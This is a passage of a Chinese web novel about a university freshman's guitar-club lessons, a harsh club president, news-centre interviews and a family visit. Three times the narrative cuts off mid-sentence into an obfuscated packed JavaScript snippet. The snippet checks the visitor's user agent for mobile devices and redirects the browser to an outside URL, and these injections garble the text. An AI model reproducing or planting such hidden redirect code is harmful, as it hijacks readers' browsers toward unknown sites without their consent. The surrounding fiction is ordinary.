“唉，真的是伤透了别人的心。”舒青竹摇摇头，又转着眼珠思考了一会儿，还是想不明白，“所以他这意思是齐扬来还是不来？挺模棱两可的。” “当然不来。”宋之雯拿了块点心塞到她嘴里，“别想了。” “也是。”舒青竹边嚼着点心边点头，“话说周三从早上到晚上都是课啊，你中间还要练吉他也是够累的。” 一想到这宋之雯的表情都痛苦得扭曲了：“我也不想啊，可就周三得票最高，这大学一点也不轻松，大一课这么多。” “你加油。”舒青竹怜悯地看向她，随后又换了一副小心翼翼的表情，“你注音的作业写了吗？我不会。” “拿去。”宋之雯拿出自己的本子丢给她，“抄完记得还。” “也给我看看吧。”钟小欢不知道什么时候凑了过来。 宋之雯无奈地笑了笑。 周三宋之雯就正式开始了自己的第一堂吉他课。韦峰按照顺序把琴挨个发了下去，何瑜在上面简单介绍了调音软件以及如何给吉他调音。 琴正面是云杉木的材质，呈现浅浅的黄色，摸起来手感很光滑，背面是用料很实在的棕色桃心木，整个琴身设计流畅，一看就是精心挑选过的。 宋之雯把琴竖起来，尝试着拨动了第一根弦，随后又对照着调音器上高低的提示一点点地拧着旋钮，试图把音调到正确的位置，严谨程度堪比化学实验。 因为是第一次接触吉他，大家的手都很生，调音就用了很久，但何瑜一直耐心地微笑着：“不着急，慢慢来。” 等调好音之后，她转身拿起笔在白板上写写画画：“下面我教几个简单的和弦，大家可以自己试着弹弹。首先是C和弦，指法我已经标出来了，1指是我们的食指，2指中指，以此类推，你就把食指中指无名指按在相应的位置上就好。” 宋之雯掏出本子，跟好学生记笔记一样一股脑地往上记。 “C和G是最简单的两个和弦了，会按了之后能不能试着连起来弹呢？”何瑜放下了笔，“自己试一试。” 宋之雯按照图上的标注按在吉他相应的位置，然后轻轻地拨弦弹出了第一个音。可是换到第二个和弦她的手就和生锈了一样，艰难地爬过去，按下去一阵杂音。 何瑜刚好走到她这边，宋之雯窘迫地抬起头，不好意思地笑笑。 “我来吧。”何瑜接过吉他，给她做示范，“初学者换不过来很正常，多练就好了，你看这里中指无名指直接爬过去一格，加上小拇指就好了。” 宋之雯有些悟到地点点头，还顺带感慨了一下：“你们换得真流畅。” “已经习惯了。”何瑜把吉他还给宋之雯，笑着走向了下一个。 宋之雯觉得自己简直是血赚了，有这么漂亮的音乐老师给他们上课，人还这么好说话，外面随随便便都不止这个价格。因此她格外卖力地练，等最后课结束的时候手指都生疼。 “对了学妹，你能留一下吗？”在宋之雯正要走的时候，韦峰叫住了她。 “怎么了？” “那个......”韦峰有点犹豫又不好意思开口，只能用干笑来掩饰尴尬，“你对我们社团管理组有兴趣吗？” “可是我还报名了其他部门。”宋之雯面露难色。 韦峰连忙摆手：“放心，不会占用你太多时间的。” “为什么要找我帮忙呢？”宋之雯更加疑惑了。 “因为我就对你有点印象。”韦峰挠挠头，“还有因为没人报名，实在找不到人了。” “你这是在抓小学妹当劳动力呢。”何瑜在旁边调侃了一句。 韦峰头上汗都出来了：“澄清一下，我可没有这个意思。” 宋之雯看他拉下脸来求人的样子实在有点卑微，便心软答应了下来：“好吧。” “谢谢啊，谢谢。”韦峰又转头看向还没走的几个人，“兄弟姐妹们，现在吉他社的情况你们也看到了，实在是人手不够，你们谁能伸个援手？我们一起把社团建设得更好。” 剩下的几个人对视了一眼，有一个短发戴着方框眼镜的男生举起了手：“也加我一个吧。” 宋之雯对他有印象，男生叫叶琛，机械学院大二的，没想到沉稳的外表下也有一颗热爱音乐的心。 “好啊，那我们加个微信吧。”韦峰笑得都合不拢嘴了。 “学妹，我们也加一个吧。”何瑜把自己的二维码也递给了宋之雯，“以后有什么问题可以问我。” 宋之雯惊喜地点点头。 第二周的吉他课开始就有人请假了，不过何瑜像见怪不怪似的，又教了他们几个和弦并且示范了爬格子练习，让他们回去多练练。同时宋之雯还收到了新媒体中心二面的通知，她有些意外。虽然笔试并不难，只是让你找出新闻的一些错误并按照提示写新闻，但那天考试的人满满当当坐了几个教室，她实在没想到能杀出重围。 二面是问答，先自我介绍再问你一些专业相关的问题。宋之雯很珍惜这次机会，在面试之前把网上所有新闻相关的常识问题都背了一遍，正式面试的时候也考到了几个，答得还算流利。 结果过了几天她又收到消息，通知她去三面。 宋之雯简直不敢相信自己的眼睛，原先以为一面就挂掉的，没想到自己能挺到三面。 三面是上机操作，让你剪一个短片。宋之雯基本的剪辑和加字幕还是会的，于是整合了一下桌面上航拍教学楼、操场和宿舍的素材，剪了一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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宋之雯缓缓吐出一口气然后背了起来：“何时(When)、何地(where)、何事(what)、何因(why)和何人(who)。” 还好自己背了，不然就被问倒了。 “你觉得新闻最重要的一个特点是什么？” 宋之雯在脑海里把可能地答案都过了一遍，然后确定地说：“时效性。” 林嘉和看起来很满意：“对，新闻最重要的就是新，那你知道我们学校最近有什么新闻吗？” 宋之雯的心情和坐过山车一样，这人看着温和，实际上抛出来的问题都是坑。不过她还是平静下来回答道：“最近的就是10月20号的校运会快要举行了。” “是的，做新闻的人最重要的就是敏锐。”林嘉和赞许道，“那你为什么想做一名记者呢？” “因为我很喜欢接触不同的人，聆听他们的所思所想，更重要的是把他们人生中的某一个瞬间通过文字或图片的方式记录下来。” 林嘉和的眼睛亮了亮，眼神里充满了笑意：“我很认同你说的，没想到你还挺会生活，行，我没什么要问的了，回去等通知吧。” 宋之雯礼貌地道了声谢，然后就走出去了。这前前后后折腾了四次，总算是卸下了一桩心事，无比松快。因此她这周去上吉他课的时候，心情格外好。 不过其他人可就不一定了，经过了两周最初的新鲜感已经过去，剩下的就是无止境的枯燥练习。何瑜在台上讲如何扫弦拨弦的时候，有几个人在底下昏昏欲睡。 何瑜见状，便也停了下来，拍了拍手：“振作起来啊同志们，别人睡觉偷懒的时候我们在偷偷学一门技能，下次你就可以拿学会的吉他嘲笑他了。” 底下一片哄笑声，不得不说这招确实很提神，大家又继续练习了起来。 宋之雯正练习着，忽然听到教室里开始骚动，紧接着大家纷纷停下了手上的活往门外看，她也好奇地看过去。 门外的人套了件黑色的防晒服，双手插兜，一副漫不经心的样子。 是齐扬来了。 5. 第五章 出糗 何瑜扔下了手中的笔，有些意外：“你怎么来了？” “来看看你们练得怎么样了。”齐扬说着就径直往里走。 空气中忽然充斥了一种紧张的气氛，大家都纷纷低下了头，仿佛上课偷懒被老师抓包的学生。 齐扬从讲台上缓缓绕下来，经过一个同学面前，瞟了一眼。那个同学动作一滞，吓得大气也不敢出，没想到齐扬看了一眼又走了，那个同学这才松了一口气。 期间也有一群女生结伴走过，好奇地往阶梯教室张望，齐扬抬起头，投过去一个冷淡的眼神，那几个女生立刻跟什么都不知道一样，推搡着走了。 齐扬已经绕了小半圈，离宋之雯这里越来越近。 宋之雯只好抬起手，装模做样地在练习，心中默背着何瑜教过的口诀：“四根手指向下扫弦，大拇指向上扫弦。” 她的动作很轻很慢，生怕发出一点不和谐的声音引起他的注意。 齐扬走了几步，在她后面的同学这里停了下来，低头开始讲解。 宋之雯不敢回头看，低着头把自己隐蔽起来，祈祷着齐扬或许讲得口干舌燥了就懒得看她这边了。 她正软绵绵地有一下没一下地扫着的时候，头顶上方飘来一个声音，和幽灵一样：“同学，你的手能不能快点？你这不是扫弦，是扒拉琴。” 宋之雯转过头去，正对上齐扬深沉的眼睛。 她心一慌，不由地加快了手速，结果手一时切换不过来，在往上扫弦的时候，食指已经率先一步出去碰到了琴弦，发出很大的一声杂音。 这一声杂音成功吸引了大家的注意，大家都纷纷回过头来看。 齐扬的面部肌肉抽动了几下，想笑却又笑不出来，凑在她耳边低声说道：“你家还用食指扫弦的？我怎么没听说过？” 他这话像是往平静的湖面里丢了颗石子，有人低着头咯咯地笑了起来。 宋之雯感觉有千万道目光注视着自己，进也不是，退也不是，只能无力地解释道：“我刚刚那是不小心的。” “行啊。”齐扬抱着手臂看她，“那你再试试。” 宋之雯刚要试的时候，齐扬就对着她做了一个抬手的手势，示意她站起来：“你站起来给大家看看，正好有错误我们避免一下。” 底下的人一副看好戏的表情。 宋之雯愣了一下，但迫于压力还是硬着头皮站了起来。 齐扬指挥着她：“来，伸手扫弦试试。” 宋之雯平复了一下心情，左手按住和弦，右手扬起，顺着琴弦斜切下去，再大拇指抬起扫弦。一切似乎都很顺利的时候，她的手又习惯性地往上抬，整只手碰到了琴弦，音一下子就炸了开来。 有人小声提醒道：“错了。” “同学，你这弹的不是琴是琵琶吧？”齐扬稍微弯下了一点腰和她平视，“你是不是肢体不太协调？” 这回大家都忍不住了，笑得更大声了。 宋之雯的心里隐隐有一丝苦涩，她知道自己弹得不好，也知道齐扬是在提醒大家不要犯这样的错误，可是把别人的错误拎出来嘲笑真的让人觉得不舒服，何况只是一个学了三周的初学者。于是她看向齐扬的目光也带了点不满。 齐扬感受到了她眼里情绪的变化，移开了目光：“还有一个问题发现了没有？” “我弹出来好像不是这样的啊。”有个男生拿着自己的琴扫了几下试试。 “为什么会有杂音呢？”宋之雯问。 “对啊？为什么呢？”齐扬看了她和弦按的位置，抓住她的手：“按下去，用点力气。” 宋之雯使劲按着，把自己的手都按得生疼。 “你再试试。”齐扬对她说。 宋之雯再扫了几下，果然好多了。 “看到了没有，有杂音就是你没按好，所以要按准了。”齐扬朝她伸出了手，“琴借我一下，你可以坐下了。” 他从宋之雯手里接过琴后，就开始讲扫弦的要领。手很轻松地在琴弦上滑落，轻快的音乐从他的指缝间流出，他弹着弹着甚至开始玩了起来，扫弦中混合着几下打弦，而且不断地在变换花色。从始至终他都没看过琴一眼，仿佛一切都信手拈来。 旁边的一个女生吐槽道：“讲着讲着就超纲了。” 音乐渐渐地停了，齐扬看了看还没回过神的大家：“刚刚扫弦看清楚了吗？没看清楚我再讲一遍，除了大拇指，其他手指先斜着往下扫，在洞口处声音会好听一点，然后用大拇指的指甲向上扫。刚学不适应是正常的，学不会就慢慢练，不要心急。 “典型的错误你们也看到了，所以练习的时候要避免。”他把琴递给了宋之雯，又补充道，“当然，我展示的打弦有兴趣也可以练一下，用你大拇指的指肚去敲打琴弦。” 有几个人识相地摇了摇头，低下头开始继续练。 宋之雯看着自己的琴，忽然泄了气，同样的一把琴，在别人手里就能玩出花来，人和人的差距怎么这么大。 她忽然感觉有人拍了拍她的肩膀：“你会吗？要不要我再给你示范一遍？” 宋之雯看向说话的那个人，是叶琛，便感激地点了点头：“好啊，谢谢啊。” 叶琛把扫弦用慢动作分解了一下，手慢慢地垂落下去，怕她看不清还稍微停顿了一下，然后继续下一个动作：“看明白了吗？” “明白了。”宋之雯对他笑笑。 “好，如果还有什么不会的可以再问我。” 宋之雯顿时觉得积在心里的那片乌云消散了一点，又重新和琴较上了劲。 我就不信还学不会了。 “我看时间差不多了，大家先回去吧，别耽误了上课。”何瑜说道，“也谢谢齐扬百忙之中来教学弟学妹们。” 台下掌声雷动。 “客气了瑜姐，是我打扰你了。”齐扬对她双手合十，做了个抱歉的手势，然后挥了挥手，“那我先走一步了，再见。” 等齐扬走出门后，女生们才恢复了激动的表情，慌忙掏出手机跟自己 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舒青竹听得眉头越皱越紧，若有所思地点点头：“确实不妥，男生这样可能没事，女孩子脸皮本来就薄，拿别人的错误来嘲笑人家是有点过分，很容易往心里去的。” “要是我遇到这种事，心里也是很难过的。”杨灵附和道。 “是吧？”宋之雯像寻找到了共鸣，“何况我才学了这么点时间，也不可能弹得很出众。对我的错误另一个学姐就很温柔，耐心给我讲解，这位一上来就这么不留情面。” “人家是社长，肯定严格一些。”舒青竹拍了拍宋之雯的肩膀安慰她，又叹了口气，“不过这齐扬也是，看着帅，其实很不好搞，知人知面不知心啊。” “天下没有免费的午餐，这种人就不是我们一般人能承受得住的。”钟小欢感慨了一句。 “不过我好像还从来没听你弹过吉他呢。”舒青竹突然产生了好奇心，“要不你弹给我们听听？” “是啊。”杨灵同样抱了期待的眼神。 “那好吧。”宋之雯勉为其难地答应了，拿出琴，手按住和弦，开始上下扫弦，然后手指又小心翼翼地移了位置，换了个和弦继续扫，最后把琴放下，“我目前只会这个，学姐就教到这儿。” 其余三个人听完了，都在那儿沉默不语。 “怎么了？”宋之雯察觉到气氛有点诡异，忍不住开口问了。 还是舒青竹先挤出了一个勉强的微笑，然后试探着说道：“我觉得要不你还是别弹了，你确实不太擅长这个。” “舒青竹。”宋之雯爆发出一声尖叫，朝她丢了个枕头：“你就不能说点好话敷衍我一下吗？” 舒青竹精准地接住了枕头，又朝另外两位征求了下意见：“我业余的也听得出来弹得确实不怎么好听，是吧？” 另外两位附和着点头。 宋之雯还是不放弃，又尝试着问了一遍：“有那么难听吗？” 6. 第六章 天分 “有。”这回是三个人异口同声地说道。 “说真的阿雯，我好奇怪你为什么对音乐这方面这么执着呢？”舒青竹抱着宋之雯扔给她的枕头窝回了躺椅里。 “因为我爸。”宋之雯陷入了回忆中，“我爸毕业就被分配到了建筑局，但他本人其实特别喜欢音乐，在我小时候就老放一些邓丽君、童安格的歌，所以我的幼年都是在唱片堆里度过的，那些歌我都会哼。他本人唱歌也特别好，经常被拉去在年会上表演，如果让他再选择一次，他或许会学音乐吧。” “也有道理，你是有家庭基础的。”舒青竹若有所思地点点头，“可惜没有遗传。” “舒青竹！”宋之雯又作势想打她。 舒青竹笑着求饶道：“别打了别打了，快要上课了。” 宋之雯只好收起了想揍扁她的念头，憋屈地开始收拾东西，就在这时她的手机震动了一下，掏出来随意地一看，却发现是通过新闻中心面试的通知。 宋之雯又仔细看了几遍，简直不敢相信自己的眼睛，别人口中那么难进的新闻中心就这么进了？ 她反应了好一会儿，才和舒青竹分享喜悦：“我进了，新闻中心。” “真的？”舒青竹一把抱住了她，“我就说让你试试吧，真得感谢我。” 杨灵站在门口催促道：“你们快点吧，一会儿上课真的要迟到了。” 几个人开始拔腿狂奔，总算卡着点到了。 第二天宋之雯就去参加了人生中第一次例会。记者团一共九人，分三个组安排不同的活动，自己所在的这个组是林嘉和带的，宋之雯担任文字记者，另一个工学院的女生项婉担任摄影记者，主要负责校运会。另外两个组是由两个副部长带的，负责国庆活动和人物专访。 因为是刚进来的新人，林嘉和并没有给她们排太多的任务，只是安排了值班表，又发了几篇以前的通讯稿，让她们试着根据通讯稿的内容进行微信排版。 临走之前林嘉和还递给宋之雯两张入场券：“周末我会给学弟学妹们做四六级的辅导，你可以来听听。” 有免费的辅导宋之雯当然求之不得，正好她也在焦虑四六级这一块，于是拉了舒青竹一块去听。 周六英文系的阶梯教室依旧坐满了人，林嘉和一身黑色的T恤和牛仔裤，看起来更加干净清爽。宋之雯注意到同部门的项婉也来了，前面几排应该都是林嘉和的学弟学妹，很熟练地和他打着招呼。 “这就是你们部长啊？”舒青竹啧啧赞叹，“还不错。” “你怎么见到一个男生都觉得还不错？” “没办法，文学院资源太匮乏了。”舒青竹朝她挤了挤眼睛。 林嘉和拍了拍话筒，看所有人都安静下来了才说下去：“感谢大家在周末的晚上还抽出时间听我的分享，我也只比你们多读了一年书，所以就从我个人的经验来谈谈四六级。”他的声音带了一点播音腔，语调语速都拿捏得刚好，不紧不慢的，听着十分柔和舒服。 几个学弟学妹们很捧场地鼓了掌，宋之雯也跟着鼓掌。 林嘉和笑了一下：“想采访一下学弟学妹们对四六级什么感受？” “难。”有男生扯着嗓子嚎道，后面的同学纷纷应和。 “那为什么难呢？文章太长？单词看不懂？” 底下开始讨论起来，答案五花八门，林嘉和用手撑着桌子，一点都不着急地看着他们，等着讨论渐渐平息。 “一开始我们都会被大量的词汇和长长的句子吓退。”林嘉和伸手点了下一张ppt，“但回忆一下你做高考阅读的时候，其实最重要的是筛选信息的能力，所以我们可以把这么长的一段话精简。” 他从讲台上抓起了一支笔，对着台下说道：“来，试着找一下这段话的关键词是什么？你们说我划出来。” 台下报出了几个单词，林嘉和伸手在上面做了标注：“对，其实这段话讲的就是经济增长了百分之多少多少，后面都是干扰选项。” “所以......”他的笑容颇有深意，“这段话应该匹配哪一个选项？” 底下报出了正确答案之后，他满意地点头：“这个选项其实就是它的同义改写，不在无关的信息上浪费时间，做长阅读的时候就会快很多。” 宋之雯看到前面几个人露出了恍然大悟的表情，眼神里放着崇拜的光芒。 “其实其他题目比如听力也是一样。”林嘉和又展示了几张ppt，“从题干中抓住关键信息，和文章中的去对应，当然因为只有一遍，必要时可以做一些记录。” 有同学像是被点醒了一般掏出本子就开始记，宋之雯也把林嘉和刚刚讲的方法写在了备忘录上。 林嘉和看下面和上专业课一样纷纷埋头在记，哭笑不得，耐心地等着他们写完了之后换上一副轻松的表情：“下面我们来点不一样的，我想大家最头痛的就是翻译了......” 他还没说完，就有人咬着牙使劲点了点头，仿佛真有什么血海深仇的样子。 “每年因为翻译产生的段子也不少，我想一部分同学也看到了。” 屏幕上的图片还没展示完全，底下就爆发出了一阵惊天动地的大笑。 林嘉和干咳了几声：“别笑哈，来测试一下你们是不是这样。” 他伸手指了指前面的大一新生：“来，大一的，你说说大一的学生用英语怎么说？” 那个男生胆子很大地说道：“Gradeone.” 又是一阵笑声。 “错了。”林嘉和纠正道，“是freshman。” “真形象这个词。”舒青竹在宋之雯耳旁说道，“因为我们很fresh，什么都不懂。” “那大二的学生呢？”林嘉和继续追问。 “sophomore.” “大三大四呢？” 有人沉默了。 “叫junior和seniorstudent。”林嘉和公布正确答案，“不过不要和那个初高中学生搞混了。” “我完了。”舒青竹长长地叹一口气，“感觉自己是个废物。” “不过有时中式英语用得比较多，大家都认可的话也能成为规范。”林嘉和话锋一转，“比如peoplemountainpeoplesea。” 这话一出，大家完全笑倒成了一片。 在林嘉和专业与笑话的结合下，时间过得飞快，一个半小时的分享会没一会儿就结束了，一些没听够的学弟学妹还把林嘉和团团围住问问题。 林嘉和从人群中伸出一只手来挥了挥：“宋之雯、项婉，你们稍微留一下。” “你先去吧。”舒青竹对宋之雯说，然后一溜烟跑了。 宋之雯等了有半个小时，围着林嘉和的学弟学妹终于逐渐散去，林嘉和从讲台上向她们走来：“久等了吧？我请你们 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14491329|154747||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 吃个夜宵，然后进行一次简短的部门会议。” 宋之雯连忙摆手：“请客就不用了部长，有事在这里说就行了。” 项婉也表示同意。 “部门惯例。”林嘉和笑了，“你们就别客气了，等以后当了部长也要请。” 林嘉和选的是校门外一家很有名的烧烤店。店内的陈设很简陋，只有从顶上吊下来的灯泡和低矮的折叠椅，人得蜷缩着吃，然而却聚集了不少学生。几个人挑了一个里面的位置坐下。 “部长。”项婉先开口道，“你刚刚的分享特别有用，茅塞顿开的感觉。” 宋之雯也点点头：“讲得很容易懂，方法也能用上。” “是吗？谢谢啊。”林嘉和对她们笑了笑。 不一会儿烤茄子上来了，流着油滋滋地冒着热气，宋之雯顿时觉得有点饿了，吹着气吃了几口。林嘉和看她们吃得差不多了，才说道：“我把宋之雯的推文做成临时文件发给你们了，看看有什么问题没有？” 宋之雯打开手机看自己的推文，因为是第一次排版，当时她改了好几稿，加了许多与主题相关的元素。 “你看。”林嘉和给她指了出来，“我知道你想要好看，但也不必加这么多花里胡哨的边框，尤其是每一个板块还不统一，其实你去看看学校公众号的推文，排版都很简洁，因为是给所有人看的，性质比较严肃。” 宋之雯受用地点点头：“知道了，我再去改一下。” “还有项婉，你这张照片拍的也有问题。”林嘉和放大给她看，“前面的芦苇占了一大部分，把池塘都挡住了，显得很杂，还是要留有点空间。” 项婉不好意思地笑了：“谢谢部长，不说我自己都没发现。” “不过你们也不用紧张。”林嘉和安慰道，“新人上手总有一个过程，这段时间你们的任务就是宋之雯把新闻稿弄好，项婉负责在校园里拍摄同学们的日常，网络策划部那边要推送。” “没问题。”这回是两个人一起说的。 “好，加油吧。”林嘉和举起饮料和她们碰了杯，“相信我们记者团会越来越好。” 宋之雯直到十点才回到寝室，发现舒青竹还没睡，正窝在椅子上看着她。 “怎么了？”她问。 “阿雯，我感觉你们那个部长人挺好的。”舒青竹压低了声音悄悄说了一句，“要不你那个什么吉他社还是别去了吧？” 宋之雯刚想认同她说的有点道理，转念一想又犹豫了：“不行，我可是花了一千块钱呢。” 舒青竹无奈地叹了口气，站起身：“你啊，就是被这一千块困住了，算了，不说了睡觉去了。” 周三宋之雯还是照常去上了吉他课，只是经过了上次的打击后总有点蔫蔫的提不起兴趣。这回教她们的还是何瑜，在训练的时候有女生忍不住小声问道：“社长今天不来啊？” “社长很忙的，上次就是抽空来看看你们。”何瑜的眉毛微微上扬，“怎么，不欢迎我呀？” “不是不是，老师你最好了。”女生急忙为自己澄清。 何瑜微笑着没再说什么，开始巡视给学员指导。经过宋之雯身边的时候，她停住了，站了好一会儿，然后挑了个她前面的位置坐下：“我怎么感觉你不太高兴啊。” “没有。”宋之雯回避着，但有气无力的琴声已经出卖了她的心情。 何瑜很懂地笑了：“因为齐扬的事吧？” 7. 第七章 劝退 宋之雯没有说话。 何瑜便自顾自地继续说下去：“我代他向你道歉了，他这个人就这个性格，专业上的事情轴得很，你知道为什么要招募新的吉他手吗？” 宋之雯摇摇头。 “因为上半学期的大学生音乐联赛，吉他手弹错了音，导致伴奏跟不上，直接输掉了比赛。事后齐扬把吉他手骂了个狗血喷头，人家没受过这样的屈辱就负气走了。” 宋之雯听得一愣一愣的。 何瑜啧啧称奇：“你是没听过那场骂战，太精彩了，从专业性骂到团队责任意识，到最后齐扬索性来了一句我不唱歌去弹吉他都比这效果好，并演示了一段solo，吉他手气得说那你去弹吉他好了，还要唱歌干嘛，然后摔门走了。” 宋之雯的眼神已经不能用震惊来形容了，何瑜生动的讲述更是吸引了一大群女孩子围在她身边，缠着她：“老师你还有什么关于齐扬的事情？多给我们讲讲吧。” “好啊。”何瑜往椅背上靠了靠，“正好我也休息一下，我跟你们讲，齐扬和乐队的人也没少吵。因为他的要求特别严苛，经常一练就是好几个小时，无数次的推翻重来，时间久了肯定有人受不了，不过他就一句话，受不了可以走。” 有好几个女孩子眼里闪烁着崇拜的光，轻轻推了推何瑜像是撒娇似的：“那齐扬对你也这么严吗？” 何瑜笑出了声：“对我他还是不敢的，所以乐队的人都盼望着我过去拯救他们，有我在他们就好过一点。” 这回宋之雯也忍不住笑了，旁边也附和着嗤嗤的笑声。 “所以别太焦虑，你不是一个人。”何瑜拍了拍宋之雯的肩，“不过齐扬这个人也并非不近人情，有时候还会和你开开玩笑，我们专业老师也拿他没办法。” “哦？”宋之雯被吊起了兴趣。 “有一回音乐鉴赏讲到莫扎特，顺带提了一下他的好朋友萨列里，他就站起来说其实莫扎特和萨列里的关系并没有那么不好，还举了很多例子证明他们关系好，并就海顿和萨列里谁跟莫扎特关系好掰扯了半天。后来我们那个教授实在看不下去了，让他讲点与课堂有关的内容，并说你是学吉他的弹琴不会只弹C大调吧？因为C和弦是吉他最简单的和弦，结果你猜他怎么说？” 宋之雯想不出，很诚实地摇摇头。 “他说我不止会弹C大调，还会弹A大调，G大调，降B大调，降E大调等等。” 女孩子们已经笑得停不下来了。 “不过我后来发现他没吹牛，真的。”何瑜肯定地点头，看大家还想听，又伸手推了她们一把，“好了，继续练习了，不然时间都没了。” “怎么样？是不是心里好受了些？”何瑜转过身来问宋之雯。 宋之雯点点头。 “你有不懂的就问我吧，初学者我理解的，别不好意思。”何瑜朝她伸出了手，拿过吉他又给她示范了一遍打弦。 宋之雯认真地盯着她起落的手，感慨道：“学姐，你真好。” 何瑜绽开了一个笑容，在窗外阳光的照射下格外明丽。 忙碌的九月总算结束了，十一长假给了这群还没适应大学生活的新生一个缓冲的时机，最后一节课下课就有潮水般的人拖着行李箱朝门口蜂拥而去。 宋之雯也回了趟家，刚到家门口，就听到里面有一阵很响的音乐声传来。 她内心估摸着又是自己的老爸卡拉OK瘾犯了，往里面走了点，果不其然宋岩峰正左手举着有线话筒，右手跟着节奏挥舞着，对着屏幕沉醉地重复一句话：“Willyoustilllovemetomorrow?” “Will~youstill~love~me~tomorrow~~”唱得虽然技巧上不足，但气势上是足够了。 这台自带卡拉OK的电视是老物件了，从宋之雯出生起就有了，当初买来就是为了满足宋岩峰唱歌的需要。听奶奶说宋岩峰从小就有个音乐的梦想，只是被那个年代的人以考个中专好找工作为理由扼杀了，因此这台卡拉OK就成了他排解情绪的出口。年轻的时候他还会约上公司里的几个朋友来家里喝酒，喝完大家一起嚎上几嗓子。宋之雯也跟着他们学会了不少童安格、谭咏麟的歌。但渐渐地大家都人到中年，被家庭琐事缠身，来的人就少了，只剩下宋岩峰一个人孤独地对着这台电视唱。 一曲完了，宋岩峰这才注意到站在旁边的女儿，尴尬地笑笑：“没吵到你吧？” 宋之雯摇摇头。 “他啊，这么多年就会唱一句英文，逢人炫耀自己会英文结果说来说去还是那句。”于爱丽从厨房里探出头来，“你也别光顾着唱了，还不快过来帮忙。” “哎，来了来了。”宋岩峰放下了手里的话筒，转头对宋之雯说，“都到饭点了，饿了吧？赶快洗手吃饭。” 果然距离产生美，这一个月没回来，于爱丽女士的态度就发生了一百八十度大转变，跟暑假嫌弃得不行的样子形成了鲜明的对比。 “你看看你，整个人都黑了一个度。”于爱丽指了指宋之雯的脸蛋，“怎么不多涂点防晒？” 宋之雯摸了摸脸：“一天七八个小时的紫外线照射，再好的防晒也顶不住啊。” “小姑娘嘛年轻，很快就会白回来的。”宋岩峰往她碗里夹了点肉，“多吃点。” “大学怎么样？还适应吗？”于爱丽边吃饭边问。 “我觉得挺适应的，课虽然多但也有自主安排的时间。”宋之雯嚼着肉含糊地说道，还是家里的饭菜好吃。 “别光顾着学习，还是要多参加活动，多认识点人。”宋岩峰在一旁提醒。 “我有参加社团。”宋之雯顺口就说出来了，说完之后才意识到有点不对。 “什么社团？”于爱丽问。 宋之雯只能硬着头皮说下去：“吉他社。” 于爱丽放下了手中的筷子，凑上前了一点：“要钱吗？” 宋之雯点点头。 “多少？” 宋之雯不敢说实话，只能往少了报：“五百。” 于爱丽叹了口气：“我说你爷爷奶奶外公外婆给你考上大学的奖励也不是这么用的啊，要学会省点钱，别乱花。” “一次□□五百就够了，管 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14491330|154747||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 四年用，包括琴和学费，可比外面便宜。” 于爱丽的眼神严肃了起来，用手敲了敲桌子：“还有我好心提醒你一句，少和那些学音乐的混在一起，那些学音乐的都是不好好读书家里有钱走捷径的人，骗起小姑娘来一套一套的，你可别被他们骗了。” 气氛一时间有些凝固。 宋岩峰伸手打圆场：“行了，年轻人有点爱好很正常。” “我也不止参加了吉他社，还参加了学校的新媒体中心，认识了一个外语学院的学长，他还教我们怎么过四六级呢。”宋之雯连忙改口道。 “这才对嘛，要把心思用到正道上。”于爱丽的脸色缓和了一点。 “好了，吃饭吃饭，菜都凉了。”宋岩峰很讨好地给于爱丽盛了一碗汤，于爱丽也没再说什么了。 宋之雯在家的这几天，每天都能收到于爱丽女士亲切的问候，例如上了大学也不能松懈，该过的科目还是要过的啦，多问问学长学姐以后专业的就业问题啦，听得她脑壳嗡嗡响，索性提前了一天回来。 宿舍里的人都还没有到，她便独自一人拿吉他出来复习上次学习的曲目。经过了一个假期的调理，齐扬的事早就已经淡忘，心里也没那么难受了。 周三上午一下课，调理好状态的宋之雯便背起吉他精神饱满地上课去了。 她到得还算早，走到楼梯上的时候，就看到教室外面有几个人聚在一起聊天。其中一个人她根据发型辨认出是何瑜，另一个人他回过头来的时候，宋之雯才发现是齐扬。 齐扬戴了一顶棒球帽，压低的发丝遮住了他的眼睛，运动外套随意地披着，整个人懒洋洋地靠在墙上看着何瑜：“这几节课下来有好的苗子吗？” “才几节课能看得出什么。”何瑜忍不住呛他。 “看吧，我就说你当初的想法不靠谱吧。”齐扬忍不住白了一眼旁边的吴衡。 吴衡气得用肩膀顶了一下他：“我靠，我这也是好心为社团挣点经费，你别落井下石啊。” “这点经费付瑜姐的课时费都不够吧，瑜姐在外面教一节课要多少钱。”齐扬朝何瑜抬了抬下巴。 “臭小子，我是那么势利的人吗？教学弟学妹不收费。”何瑜抬腿踹了他一脚，被齐扬笑着躲开了。 “行了，不玩闹了。”何瑜做了个“暂停”的手势，思考了一会儿，“你硬要说苗子的话，还真有一个......” “谁啊？”齐扬走上前去，迫切地想要知道答案。 何瑜推了他一把：“正经点。” 齐扬立刻收敛起了笑容，何瑜这才开口说：“你们还记得那个学机械的叶琛吗？我感觉他有点天赋。” “是不错。”韦峰附和着点点头，“不过也不好说，这几节课内容比较简单，后面复杂的不知道他能不能弹出来。” 